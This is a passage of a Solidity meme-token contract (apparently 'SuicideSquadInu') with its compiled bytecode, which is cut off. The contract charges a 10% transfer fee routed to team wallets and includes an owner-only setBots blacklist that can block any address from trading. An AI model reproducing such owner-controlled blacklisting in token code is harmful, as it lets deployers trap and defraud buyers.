return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_taxFee = 1;
_teamFee = 9;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_taxFee = 1;
_teamFee = 9;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 100000000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ddd565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612923565b61045e565b6040516101789190612dc2565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612f5f565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906128d4565b610490565b6040516101e09190612dc2565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612846565b610569565b005b34801561021e57600080fd5b50610227610659565b6040516102349190612fd4565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f91906129a0565b610662565b005b34801561027257600080fd5b5061027b610714565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612846565b610786565b6040516102b19190612f5f565b60405180910390f35b3480156102c657600080fd5b506102cf6107d7565b005b3480156102dd57600080fd5b506102e661092a565b6040516102f39190612cf4565b60405180910390f35b34801561030857600080fd5b50610311610953565b60405161031e9190612ddd565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612923565b610990565b60405161035b9190612dc2565b60405180910390f35b34801561037057600080fd5b5061038b6004803603810190610386919061295f565b6109ae565b005b34801561039957600080fd5b506103a2610afe565b005b3480156103b057600080fd5b506103b9610b78565b005b3480156103c757600080fd5b506103e260048036038101906103dd91906129f2565b6110da565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612898565b611226565b6040516104189190612f5f565b60405180910390f35b60606040518060400160405280600f81526020017f537569636964655371756164496e750000000000000000000000000000000000815250905090565b600061047261046b6112ad565b84846112b5565b6001905092915050565b60006b033b2e3c9fd0803ce8000000905090565b600061049d848484611480565b61055e846104a96112ad565b6105598560405180606001604052806028815260200161366f60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050f6112ad565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b389092919063ffffffff16565b6112b5565b600190509392505050565b6105716112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f590612ebf565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006012905090565b61066a6112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ee90612ebf565b60405180910390fd5b80601160176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107556112ad565b73ffffffffffffffffffffffffffffffffffffffff161461077557600080fd5b600047905061078381611b9c565b50565b60006107d0600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c97565b9050919050565b6107df6112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461086c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086390612ebf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f5353490000000000000000000000000000000000000000000000000000000000815250905090565b60006109a461099d6112ad565b8484611480565b6001905092915050565b6109b66112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3a90612ebf565b60405180910390fd5b60005b8151811015610afa57600160066000848481518110610a8e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610af290613275565b915050610a46565b5050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3f6112ad565b73ffffffffffffffffffffffffffffffffffffffff1614610b5f57600080fd5b6000610b6a30610786565b9050610b7581611d05565b50565b610b806112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0490612ebf565b60405180910390fd5b601160149054906101000a900460ff1615610c5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5490612f3f565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cf030601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b033b2e3c9fd0803ce80000006112b5565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3657600080fd5b505afa158015610d4a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6e919061286f565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dd057600080fd5b505afa158015610de4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e08919061286f565b6040518363ffffffff1660e01b8152600401610e25929190612d0f565b602060405180830381600087803b158015610e3f57600080fd5b505af1158015610e53573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e77919061286f565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610f0030610786565b600080610f0b61092a565b426040518863ffffffff1660e01b8152600401610f2d96959493929190612d61565b6060604051808303818588803b158015610f4657600080fd5b505af1158015610f5a573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f7f9190612a1b565b5050506001601160166101000a81548160ff0219169083151502179055506001601160176101000a81548160ff0219169083151502179055506a52b7d2dcc80cd2e40000006012819055506001601160146101000a81548160ff021916908315150217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611084929190612d38565b602060405180830381600087803b15801561109e57600080fd5b505af11580156110b2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110d691906129c9565b5050565b6110e26112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461116f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116690612ebf565b60405180910390fd5b600081116111b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a990612e7f565b60405180910390fd5b6111e460646111d6836b033b2e3c9fd0803ce8000000611fff90919063ffffffff16565b61207a90919063ffffffff16565b6012819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60125460405161121b9190612f5f565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611325576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131c90612f1f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611395576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138c90612e3f565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114739190612f5f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e790612eff565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611560576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155790612dff565b60405180910390fd5b600081116115a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159a90612edf565b60405180910390fd5b6001600a819055506009600b819055506115bb61092a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561162957506115f961092a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611a7557600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116d25750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116db57600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117865750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117dc5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117f45750601160179054906101000a900460ff165b156118a45760125481111561180857600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061185357600080fd5b601e426118609190613095565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614801561194f5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156119a55750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119bb576001600a819055506009600b819055505b60006119c630610786565b9050601160159054906101000a900460ff16158015611a335750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a4b5750601160169054906101000a900460ff165b15611a7357611a5981611d05565b60004790506000811115611a7157611a7047611b9c565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611b1c5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611b2657600090505b611b32848484846120c4565b50505050565b6000838311158290611b80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b779190612ddd565b60405180910390fd5b5060008385611b8f9190613176565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611bec60028461207a90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c17573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611c6860028461207a90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c93573d6000803e3d6000fd5b5050565b6000600854821115611cde576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cd590612e1f565b60405180910390fd5b6000611ce86120f1565b9050611cfd818461207a90919063ffffffff16565b915050919050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d63577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611d915781602001602082028036833780820191505090505b5090503081600081518110611dcf577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611e7157600080fd5b505afa158015611e85573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ea9919061286f565b81600181518110611ee3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f4a30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112b5565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611fae959493929190612f7a565b600060405180830381600087803b158015611fc857600080fd5b505af1158015611fdc573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b6000808314156120125760009050612074565b60008284612020919061311c565b905082848261202f91906130eb565b1461206f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161206690612e9f565b60405180910390fd5b809150505b92915050565b60006120bc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061211c565b905092915050565b806120d2576120d161217f565b5b6120dd8484846121c2565b806120eb576120ea61238d565b5b50505050565b60008060006120fe6123a1565b91509150612115818361207a90919063ffffffff16565b9250505090565b60008083118290612163576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161215a9190612ddd565b60405180910390fd5b506000838561217291906130eb565b9050809150509392505050565b6000600a5414801561219357506000600b54145b1561219d576121c0565b600a54600c81905550600b54600d819055506000600a819055506000600b819055505b565b6000806000806000806121d48761240c565b95509550955095509550955061223286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461247490919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122c785600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124be90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123138161251c565b61231d84836125d9565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161237a9190612f5f565b60405180910390a3505050505050505050565b600c54600a81905550600d54600b81905550565b6000806000600854905060006b033b2e3c9fd0803ce800000090506123dd6b033b2e3c9fd0803ce800000060085461207a90919063ffffffff16565b8210156123ff576008546b033b2e3c9fd0803ce8000000935093505050612408565b81819350935050505b9091565b60008060008060008060008060006124298a600a54600b54612613565b92509250925060006124396120f1565b9050600080600061244c8e8787876126a9565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006124b683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b38565b905092915050565b60008082846124cd9190613095565b905083811015612512576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161250990612e5f565b60405180910390fd5b8091505092915050565b60006125266120f1565b9050600061253d8284611fff90919063ffffffff16565b905061259181600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124be90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6125ee8260085461247490919063ffffffff16565b600881905550612609816009546124be90919063ffffffff16565b6009819055505050565b60008060008061263f6064612631888a611fff90919063ffffffff16565b61207a90919063ffffffff16565b90506000612669606461265b888b611fff90919063ffffffff16565b61207a90919063ffffffff16565b9050600061269282612684858c61247490919063ffffffff16565b61247490919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126c28589611fff90919063ffffffff16565b905060006126d98689611fff90919063ffffffff16565b905060006126f08789611fff90919063ffffffff16565b905060006127198261270b858761247490919063ffffffff16565b61247490919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061274561274084613014565b612fef565b9050808382526020820190508285602086028201111561276457600080fd5b60005b85811015612794578161277a888261279e565b845260208401935060208301925050600181019050612767565b5050509392505050565b6000813590506127ad81613629565b92915050565b6000815190506127c281613629565b92915050565b600082601f8301126127d957600080fd5b81356127e9848260208601612732565b91505092915050565b60008135905061280181613640565b92915050565b60008151905061281681613640565b92915050565b60008135905061282b81613657565b92915050565b60008151905061284081613657565b92915050565b60006020828403121561285857600080fd5b60006128668482850161279e565b91505092915050565b60006020828403121561288157600080fd5b600061288f848285016127b3565b91505092915050565b600080604083850312156128ab57600080fd5b60006128b98582860161279e565b92505060206128ca8582860161279e565b9150509250929050565b6000806000606084860312156128e957600080fd5b60006128f78682870161279e565b93505060206129088682870161279e565b92505060406129198682870161281c565b9150509250925092565b6000806040838503121561293657600080fd5b60006129448582860161279e565b92505060206129558582860161281c565b9150509250929050565b60006020828403121561297157600080fd5b600082013567ffffffffffffffff81111561298b57600080fd5b612997848285016127c8565b91505092915050565b6000602082840312156129b257600080fd5b60006129c0848285016127f2565b91505092915050565b6000602082840312156129db57600080fd5b60006129e984828501612807565b91505092915050565b600060208284031215612a0457600080fd5b6000612a128482850161281c565b91505092915050565b600080600060608486031215612a3057600080fd5b6000612a3e86828701612831565b9350506020612a4f86828701612831565b9250506040612a6086828701612831565b9150509250925092565b6000612a768383612a82565b60208301905092915050565b612a8b816131aa565b82525050565b612a9a816131aa565b82525050565b6000612aab82613050565b612ab58185613073565b9350612ac083613040565b8060005b83811015612af1578151612ad88882612a6a565b9750612ae383613066565b925050600181019050612ac4565b5085935050505092915050565b612b07816131bc565b82525050565b612b16816131ff565b82525050565b6000612b278261305b565b612b318185613084565b9350612b41818560208601613211565b612b4a8161334b565b840191505092915050565b6000612b62602383613084565b9150612b6d8261335c565b604082019050919050565b6000612b85602a83613084565b9150612b90826133ab565b604082019050919050565b6000612ba8602283613084565b9150612bb3826133fa565b604082019050919050565b6000612bcb601b83613084565b9150612bd682613449565b602082019050919050565b6000612bee601d83613084565b9150612bf982613472565b602082019050919050565b6000612c11602183613084565b9150612c1c8261349b565b604082019050919050565b6000612c34602083613084565b9150612c3f826134ea565b602082019050919050565b6000612c57602983613084565b9150612c6282613513565b604082019050919050565b6000612c7a602583613084565b9150612c8582613562565b604082019050919050565b6000612c9d602483613084565b9150612ca8826135b1565b604082019050919050565b6000612cc0601783613084565b9150612ccb82613600565b602082019050919050565b612cdf816131e8565b82525050565b612cee816131f2565b82525050565b6000602082019050612d096000830184612a91565b92915050565b6000604082019050612d246000830185612a91565b612d316020830184612a91565b9392505050565b6000604082019050612d4d6000830185612a91565b612d5a6020830184612cd6565b9392505050565b600060c082019050612d766000830189612a91565b612d836020830188612cd6565b612d906040830187612b0d565b612d9d6060830186612b0d565b612daa6080830185612a91565b612db760a0830184612cd6565b979650505050505050565b6000602082019050612dd76000830184612afe565b92915050565b60006020820190508181036000830152612df78184612b1c565b905092915050565b60006020820190508181036000830152612e1881612b55565b9050919050565b60006020820190508181036000830152612e3881612b78565b9050919050565b60006020820190508181036000830152612e5881612b9b565b9050919050565b60006020820190508181036000830152612e7881612bbe565b9050919050565b60006020820190508181036000830152612e9881612be1565b9050919050565b60006020820190508181036000830152612eb881612c04565b9050919050565b60006020820190508181036000830152612ed881612c27565b9050919050565b60006020820190508181036000830152612ef881612c4a565b9050919050565b60006020820190508181036000830152612f1881612c6d565b9050919050565b60006020820190508181036000830152612f3881612c90565b9050919050565b60006020820190508181036000830152612f5881612cb3565b9050919050565b6000602082019050612f746000830184612cd6565b92915050565b600060a082019050612f8f6000830188612cd6565b612f9c6020830187612b0d565b8181036040830152612fae8186612aa0565b9050612fbd6060830185612a91565b612fca6080830184612cd6565b9695505050505050565b6000602082019050612fe96000830184612ce5565b92915050565b6000612ff961300a565b90506130058282613244565b919050565b6000604051905090565b600067ffffffffffffffff82111561302f5761302e61331c565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006130a0826131e8565b91506130ab836131e8565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156130e0576130df6132be565b5b828201905092915050565b60006130f6826131e8565b9150613101836131e8565b925082613111576131106132ed565b5b828204905092915050565b6000613127826131e8565b9150613132836131e8565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561316b5761316a6132be565b5b828202905092915050565b6000613181826131e8565b915061318c836131e8565b92508282101561319f5761319e6132be565b5b828203905092915050565b60006131b5826131c8565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061